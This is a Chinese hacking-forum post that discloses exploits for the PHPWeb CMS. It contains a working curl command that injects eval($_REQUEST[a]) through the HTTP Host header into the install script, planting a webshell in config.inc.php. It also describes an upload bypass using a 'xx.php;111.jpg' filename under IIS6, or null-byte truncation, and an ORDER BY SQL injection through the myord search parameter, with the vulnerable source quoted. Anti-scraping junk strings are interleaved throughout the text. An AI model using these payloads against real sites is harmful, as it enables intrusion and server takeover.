找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2447|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
$ I6 n$ P1 _4 @0 S" p8 z5 ~( d( P( Q+ b
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
, a7 C. K% [- ~' H9 T9 ? , E2 ~8 [- [  z! `
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
+ J  J- F- p: \4 U6 `2 ~鸡肋2: 有一定安全常识的站长都会删掉 install 目录
  V, O. J) J0 o( t
8 L% B3 D6 X9 Y  d- i9 s8 b/ }) I虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响( l& w1 v$ X9 @2 A$ p* B4 K& Q5 R

8 @, u( p6 f) k% n. T分析:# N9 g3 u% f. [8 ?$ S$ _, s

( u" z! t& s4 Y4 w) P 2 x: |8 j3 N0 ?* a0 y1 q1 w
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤3 s3 t3 z4 \( J0 X$ h2 @
! O: m  ]' i/ t" I
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
7 ?4 [6 s5 H% r                                            $filestr=str_replace(" ","",$filestr);
& [9 d: k# r, Z* `0 o                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);! J; C/ V# }9 o0 Y7 z" F
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
; g" x+ R' d( c, ?; n6 c6 y3 O" |                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
. V5 u, b2 z9 \/ Y& Z                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);! X5 r* o) a$ q2 L+ A- v' F
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
* \" _4 {3 p5 K; d  I                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);% c; X3 \! X3 h: l2 }
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);: {% A; S$ ^1 I2 {( q  r1 W
! X5 V$ R8 m0 L" n
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);; ]. j+ b& C" s! p) G- _
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
/ f  ]7 I  v3 u( W" c! {& E
  s/ l. r! _0 A# N" d" z$ }2 B2 ppoc:
! s; k) {+ a0 G9 p! E3 ^
0 _+ K" R( T" O9 S6 P+ C, E?2 V6 f0 h- p9 s- [% g0 I
15 o( w; ^  Q/ a8 k5 a6 t- F. h
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
3 b" _+ u6 A3 Y+ zshell地址: /config.inc.php5 `* C$ p1 J% ^
跟之前的 phpcms一样 需要远程数据库
" L( B1 x5 i  j& N( Y) D
- m% Z7 k7 o/ ~' }1 x——————————————————–: b' p4 A' \7 ?4 c# k9 I
上传漏洞(需要进后台):
4 k* I( l; N3 q7 u6 j漏洞文件: /kedit/upload_cgi/upload.php
9 i7 \7 d) s6 D+ d3 R' q这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用# c* H4 M8 A  D/ @

$ J) \1 j- ~. [5 V" d : L6 @. ?- y8 t' @6 N
<?php
8 a; j' V1 |! R- y- t    define("ROOTPATH", "../../");, Y3 U# V: o+ Z+ M0 S
    include(ROOTPATH."includes/admin.inc.php");# W" W" j* \/ o3 b% u9 r/ Y
    NeedAuth(0);
. _2 X$ K' b) h! C
% a  p" |/ ]+ ]" M( k' r    $dt=date("Ymd",time());0 B9 k3 w6 w- F  g- ~
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
/ r9 w- z2 R+ ]! {, f            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);1 `! t5 |) E8 a, x: T  M
    }
4 A% w/ Q; R# N2 w & `- n, V9 [8 j# n
    //文件保存目录路径
  F2 _" h/ o' J3 g; u# a    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
; z) T! c" j$ F' j    echo $save_path;4 @& t* B9 L( d- r* e  S5 m7 L
    //文件保存目录URL; k  b% o; X& t" y
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';- p/ O0 ?! `3 q: E0 v3 A0 \& W: H

; Z9 o0 d4 F: r; N    //定义允许上传的文件扩展名2 k2 Q0 R( U. Q% Q0 p
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
6 e" @; l. b0 A: `8 u; Y8 K ; N! d% w2 ~" K: d
    //最大文件大小
) n1 R/ Z) @, c: B; i5 [8 I    $max_size = 1000000;4 @- ~. _& O) f/ h3 {) F% Q' M8 l
6 i) ]% y  x# `7 k
    //更改目录权限0 A" r- r$ \  k. `5 I4 g% @) [* r
    @mkdir($save_path, 0777);
; ]1 d) Z4 q' E # t* G7 G1 g. C+ |
    //文件的全部路径
+ U, h  H1 T, k$ g6 T% {! U    $file_path = $save_path.$_POST['fileName'];   //保存文件名2 E. E/ z8 f' T8 V

* U& f3 n/ ~! _" w& |    //文件URL
. i4 l; c: o* O* z* I6 c, v  Y& g) T    $file_url = $save_url.$_POST['fileName'];: M8 h. O# v9 J6 J2 O* D
//有上传文件时
0 N7 I7 C  h, \" j    if (empty($_FILES) === false) {
" y; f6 h& ~9 Q 1 W" J& P# L4 G7 s! D
            //原文件名! R6 ?+ I5 A8 V$ f
            $file_name = $_FILES['fileData']['name'];/ A  E- p0 d& `$ r  [2 Z" I$ E
            //服务器上临时文件名, G) w* a2 v7 p
            $tmp_name = $_FILES['fileData']['tmp_name'];7 |/ S+ V4 d! l9 [8 M9 r- w
            //文件大小8 w8 A. M# c2 Y: M: A, s5 }
            $file_size = $_FILES['fileData']['size'];8 r6 Q" Q0 q% s2 X# ?
            //检查目录
$ `* M5 [- o$ T* J            if (@is_dir($save_path) === false) {
# \  V2 {' p' U5 Y4 C5 \                    alert("上传目录不存在。");
: q( [) j. }+ R: Y) F            }* I/ `* P% ~& R; n5 u+ w
            //检查目录写权限' Q9 M. C3 i+ g9 U# S6 K- l
            if (@is_writable($save_path) === false) {
* M# y# W  S, [" \/ W" Y) e7 [7 s" d                    alert("上传目录没有写权限。");) R, \2 p3 M+ I# t0 m
            }
7 {" d2 A1 l$ O5 O  L            //检查是否已上传: m2 M) M) L6 ~$ L
            if (@is_uploaded_file($tmp_name) === false) {
+ @, T) T, A0 ~/ O                    alert("临时文件可能不是上传文件。");
% E6 G+ e" N& y/ h            }
7 G1 ]9 e8 g. w            //检查文件大小
6 c* b" z+ ]; ?9 d            if ($file_size > $max_size) {
6 P* ~- y; j' s' L& }                    alert("上传文件大小超过限制。");
* J: B7 K, q. ~% p5 @            }
$ J" y: E) K0 s; L            //获得文件扩展名
$ G: Z) l* X7 u: c: e4 p* B! _            $temp_arr = explode(".", $_POST['fileName']);
# E# O: R% ~# O3 K8 |: X, y            $file_ext = array_pop($temp_arr);, D  G9 s. T0 y7 a8 I' T+ l$ u
            $file_ext = trim($file_ext);
( i2 b  v- Q& @1 j( H1 c            $file_ext = strtolower($file_ext);; W( {/ O4 M% C) }- ]

3 k. e  N# f$ K; Q            //检查扩展名   ; r# v0 X" H6 n0 a/ d2 U
            if (in_array($file_ext, $ext_arr) === false) {     & Z' U' f7 V9 T8 I  {
                    alert("上传文件扩展名是不允许的扩展名。");
. z3 z: k0 N: o# @1 R5 y            }
- F7 G& `* t9 j# D, I! w; p% t3 x/ d  p 1 p+ ]' Z$ c  _" G" W
            //移动文件   # C. c1 @9 c8 Y
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
) S- c4 \4 K4 ?3 g; T$ d! w& o* Q            if (move_uploaded_file($tmp_name, $file_path) === false) {/ e. |; `# T# x$ b; s& c' t) {
                    alert("上传文件失败。");
9 m' g; ~$ @7 Y5 Z+ `            }
! M; d6 f+ |, I. _2 H2 Q9 Z 0 P2 V% X% w. |& k5 P
            @chmod($file_path,0666);
; M2 i! t/ H- g# s / y% c" w8 f% g" Z
    ?>
- @0 W0 j& W, s5 C抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227. b3 V' j0 p9 y1 g
  z( Z0 `" t. }; ^: _' v* T$ X
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过" [* @3 o; Q1 J! Z) q

$ F1 x5 v' P) u' x& X——————————————————, ?1 t" ^$ ?/ w6 W, ]- f) [
注入漏洞:. n; A. B: E* g" N6 D
漏洞文件:search/module/search.php1 d/ l8 s' U" [5 Q6 a6 N) ~' `
/search/index.php?key=1&myord=1 [sqlinjection]
" v7 k4 o. J! \3 i. J# u( h& e+ F 1 q, x$ f" [$ Q1 f! q2 Z* F: ~/ b
* j) ?0 V# r# e
<?php. W. C1 U8 Z/ R- \
   //       ... 省略 n 行...8 T' _! [* ~  q0 K0 X) t; @& C
   //第18行:
& C0 y  p' x, u9 M$ T- ]7 Z! T' @           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
9 H: k0 Q: t% J' G# h5 i           $page=htmlspecialchars($_GET["page"]);
. g# ?; ?- U4 a# h           $myord=htmlspecialchars($_GET["myord"]);+ J, C# a/ F7 K8 t' _+ L

- v" [& p9 s. s   //       ... 省略 n 行...1 g2 f, B" Y4 ?% V: _2 n0 B! ~1 _
   $key,$myord 两个参数带入查询5 n# J5 v& H. \2 ^6 {
   //第47行 $key:* ?& n9 K8 r6 E$ N8 b1 P, Y! g6 S; S

' v5 a1 G" `' v1 w9 z   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..2 q! v0 B2 Q. i7 @% S! o
7 v4 O* W! k8 E% o
   //第197行 $myord' `9 `8 z- u( z: B3 z
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
2 e# k& E0 x5 f' _% z+ t: J ; r- M2 b  S5 G( S& x: b, q
   ?>, Q" D$ y' O9 u. A: q0 G! ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表